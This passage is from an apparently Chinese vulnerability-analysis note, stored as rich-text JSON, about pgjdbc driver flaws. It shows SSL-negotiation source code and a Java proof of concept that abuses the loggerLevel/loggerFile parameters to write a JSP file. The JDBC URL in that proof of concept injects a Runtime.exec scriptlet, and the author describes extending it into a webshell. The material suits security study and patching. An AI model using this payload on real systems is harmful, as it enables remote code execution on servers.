{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tlt6-1669794037211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zqy5-1669794037210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        LOGGER.log(Level.FINEST, \&#34; FE=&gt; SSLRequest\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6lz-1669794037213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8jCd-1669794037212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        pgStream.sendInteger4(8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NyjP-1669794037215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pNKU-1669794037214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        pgStream.sendInteger2(1234);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Awag-1669794037217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tsNn-1669794037216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        pgStream.sendInteger2(5679);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HKi7-1669794037219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7XFA-1669794037218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        pgStream.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MoSs-1669794037221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nlYW-1669794037220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int beresp = pgStream.receiveChar();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6fvm-1669794037223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9ii5-1669794037222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        switch(beresp) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H0ol-1669794037225&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kPNF-1669794037224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 69:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ToJ6-1669794037227&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0rDM-1669794037226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            LOGGER.log(Level.FINEST, \&#34; &lt;=BE SSLError\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lub0-1669794037229&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c2wT-1669794037228&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (sslMode.requireEncryption()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xZFx-1669794037231&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;shEP-1669794037230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new PSQLException(GT.tr(\&#34;The server does not support SSL.\&#34;, new Object[0]), PSQLState.CONNECTION_REJECTED);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J8IE-1669794037233&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ckY9-1669794037232&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8ANW-1669794037235&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;55ZR-1669794037234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WKc1-1669794037237&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RoOV-1669794037236&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return new PGStream(pgStream, connectTimeout);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GT24-1669794037239&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;36Ca-1669794037238&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 78:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T2IX-1669794037241&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SAgu-1669794037240&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            LOGGER.log(Level.FINEST, \&#34; &lt;=BE SSLRefused\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k8qE-1669794037243&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vlum-1669794037242&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (sslMode.requireEncryption()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nc3a-1669794037245&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9JkB-1669794037244&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new PSQLException(GT.tr(\&#34;The server does not support SSL.\&#34;, new Object[0]), PSQLState.CONNECTION_REJECTED);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4O8L-1669794037247&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zUXg-1669794037246&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kpBQ-1669794037250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NEu3-1669794037249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;thjf-1669794037252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gRZi-1669794037251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return pgStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;beIO-1669794037254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hEf5-1669794037253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 83:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rSYW-1669794037256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TR4z-1669794037255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            LOGGER.log(Level.FINEST, \&#34; &lt;=BE SSLOk\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BtiH-1669794037258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hms0-1669794037257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            MakeSSL.convert(pgStream, info);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9D4D-1669794037260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uDIg-1669794037259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return pgStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;roGI-1669794037262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a61I-1669794037261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ksdX-1669794037264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JoDl-1669794037263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new PSQLException(GT.tr(\&#34;An error occurred while setting up the SSL connection.\&#34;, new Object[0]), PSQLState.PROTOCOL_VIOLATION);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kvPn-1669794037266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7ATA-1669794037265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RrEk-1669794037268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V9ZR-1669794037267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qOwm-1669794037270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HWgd-1669794037269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;cpp&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ob5r-1669794605343&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5VDF-1669794605344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;监听该端口返回\&#34;S\&#34;，跟进convert方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mnyV-1669794504025&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4346/WEBRESOURCEaa5d90be9f134327ad1033519f6c9093&#34;,&#34;width&#34;:2814,&#34;height&#34;:1678},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4346/WEBRESOURCEaa5d90be9f134327ad1033519f6c9093&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2814,&#34;height&#34;:1678},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R7Yi-1669794190445&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fwqb-1669794190443&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后续会进入到getSslSocketFactory同样使用ObjectFactory.instantiate()进行实例化就不赘述了&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vUqR-1669794658189&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4347/WEBRESOURCE73b72835cc3146db83bceb11466d25b3&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4347/WEBRESOURCE73b72835cc3146db83bceb11466d25b3&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zCmo-1669794658194&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m6pm-1669794658192&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;abjU-1669794600185&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4348/WEBRESOURCE56402a529bcb43a884aadb9f607c5111&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4348/WEBRESOURCE56402a529bcb43a884aadb9f607c5111&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gxmi-1669794818461&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4349/WEBRESOURCEf8bb903085aa4d3dbb2a3a14c596b265&#34;,&#34;width&#34;:2848,&#34;height&#34;:1672},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4349/WEBRESOURCEf8bb903085aa4d3dbb2a3a14c596b265&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2848,&#34;height&#34;:1672},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Sz9-1669794763997&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HkAF-1669794763996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样附上这位师傅的流程图：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZATa-1669794827922&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vx8L-1669794827921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;5qU1-1669794854339&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/11812#toc-4&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8UoL-1669794854338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/11812#toc-4&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UPnk-1669794854341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cY86-1669794866235&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4350/WEBRESOURCE93223778f7f94967a27ad846c14afdce&#34;,&#34;width&#34;:1514,&#34;height&#34;:788},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4350/WEBRESOURCE93223778f7f94967a27ad846c14afdce&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1514,&#34;height&#34;:788},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;90Ex-1669794764138&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;puiQ-1669794764137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;loggerLevel/loggerFile &#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;任意文件写入&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L6Js-1669801634932&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4373/WEBRESOURCE1a891ec0a0a6a1ea16991e17ea7f7c6b&#34;,&#34;width&#34;:2088,&#34;height&#34;:1128},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4373/WEBRESOURCE1a891ec0a0a6a1ea16991e17ea7f7c6b&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2088,&#34;height&#34;:1128},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8k23-1669795574112&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c8kZ-1669795574111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;原本是用于控制日志的输出，由于未严格校验用户输入导致任意文件写入（需要有可连接的PostgreSQL库环境）：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WmL7-1669800454371&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q7SZ-1669800454354&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hXuu-1669800454353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class test3 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lVTA-1669800454356&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lx7I-1669800454355&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U4jh-1669800454358&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GkHh-1669800454357&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws SQLException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tyf8-1669800454360&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bcYI-1669800454359&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String jdbcUrl = \&#34;jdbc:postgresql://localhost:5432/postgres?&lt;%Runtime.getRuntime().exec(\\\&#34;open -a calculator\\\&#34;);%&gt;=1&amp;loggerLevel=TRACE&amp;loggerFile=/xxx.../123.jsp\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ADwR-1669800454362&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IlJj-1669800454361&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(\&#34;PostgreSQL Driver Version: \&#34; + org.postgresql.Driver.class.getPackage().getImplementationVersion());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZA6p-1669800454364&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hQZL-1669800454363&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Connection connection = DriverManager.getConnection(jdbcUrl);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;72pA-1669800454366&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8cD-1669800454365&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        Connection test_connection = DriverManager.getConnection(testURL,\&#34;postgres\&#34;,\&#34;password\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OORz-1669800454368&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F9WE-1669800454367&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9fj3-1669800454370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;THme-1669800454369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yhSg-1669800831808&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4364/WEBRESOURCEc3f6b746622369fe82be99819de2d4f4&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4364/WEBRESOURCEc3f6b746622369fe82be99819de2d4f4&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BoO7-1669800487878&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vVmk-1669800487876&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;结合Y4tacker师傅提出的URL不解参数名的特性写入一句话webshell(yyds):&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2AVq-1669800855677&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4366/WEBRESOURCE38d3a5214b396b3e5027eb77e15ddb4b&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4366/WEBRESOURCE38d3a5214b396b3e5027eb77e15ddb4b&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zNpN-1669800953449&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4368/WEBRESOURCEeac5af475ea8ff05c9a12e34bfbc5824&#34;,&#34;width&#34;:2820,&#34;height&#34;:1760},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4368/WEBRESOURCEeac5af475ea8ff05c9a12e34bfbc5824&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2820,&#34;height&#34;:1760},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8Eu2-1669800488151&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vQaS-1669800488149&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M1J7-1669800488297&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cBSn-1669800488295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞修复：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uq6A-1669876895039&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1P80-1669876895037&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;V4qu-1669876975741&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#